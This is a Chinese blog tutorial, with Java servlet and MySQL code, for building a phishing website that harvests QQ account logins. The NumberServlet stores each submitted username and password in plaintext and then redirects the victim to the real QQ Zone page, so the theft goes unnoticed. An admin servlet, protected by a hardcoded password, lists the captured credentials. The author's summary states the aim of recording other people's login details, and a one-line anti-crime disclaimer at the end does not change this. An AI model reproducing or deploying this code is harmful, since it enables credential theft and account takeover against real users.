使用tomcat做一个小型qq网站

1 篇文章 0 订阅

咳咳,做什么标题上有.

1.项目准备

1.1创建web项目

本次项目使用gradle工具进行编译直接在idea内新建gradle项目选择web就可以自动生成.但是生成的项目里没有WEB-INF目录,需要我们自己创建
在这里插入图片描述

1.2 MYSQL配置

建库sql

CREATE DATABASE `qq_number` CHARACTER SET 'utf8' COLLATE 'utf8_bin';

建表sql

CREATE TABLE `qq_number`.`Untitled`  (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `login_id` varchar(255) CHARACTER SET utf8 COLLATE utf8_bin NOT NULL,
  `password` varchar(255) CHARACTER SET utf8 COLLATE utf8_bin NOT NULL,
  PRIMARY KEY (`id`, `login_id`) USING BTREE
) ENGINE = InnoDB CHARACTER SET = utf8 COLLATE = utf8_bin ROW_FORMAT = Dynamic;

2.项目制作

废话不多说直接上代码

AdminServlet.java

package 你的包名.qq_pirate_number.servlet;

@WebServlet(urlPatterns = "/admin", name = "AdminServlet")
public class AdminServlet extends HttpServlet {
    private static final long serialVersionUID = 1L;
    private IUserDAO iUserDAO;

    @Override
    public void init() {
        iUserDAO = new UserDAOImpl();
    }

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        if ("admin".equals(req.getParameter("u")) &&
                "你的密码".equals(req.getParameter("p"))) {
            list(req, resp);
        } else {
            resp.sendError(403);
        }
    }

    private void list(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        List<User> list = iUserDAO.listAll();
        req.setAttribute("userList", list);
        req.getRequestDispatcher("/WEB-INF/admin.jsp").forward(req, resp);
    }
}

这是一个简单的管理servlet(实际上通过Navicat直接看更方便)
执行完后跳转至一个admin.jsp显示

NumberServlet.java

@WebServlet(urlPatterns = "/number", name = "NumberServlet")
public class NumberServlet extends HttpServlet {
    private IUserDAO iUserDAO = new UserDAOImpl();

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        super.doPost(req, resp);

        req.setCharacterEncoding("utf-8");
        String username = req.getParameter("username");
        String password = req.getParameter("password");
        if (!StringUtils.isAnyBlank(username, password)) {
            User user = new User();
            user.setLogin_id(username);
            user.setPassword(password);
            iUserDAO.save(user);
        }
        resp.sendRedirect("https://qzone.qq.com/");
    }
}

项目的核心执行完后跳转至QQ空间

完整代码:
github上源码.
gitee上源码

3.项目总结

这个项目还是蛮简单的3天时间就搞定了
思路就是让别人登陆,然后记录登陆信息罢了
远离违法,从我做起

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值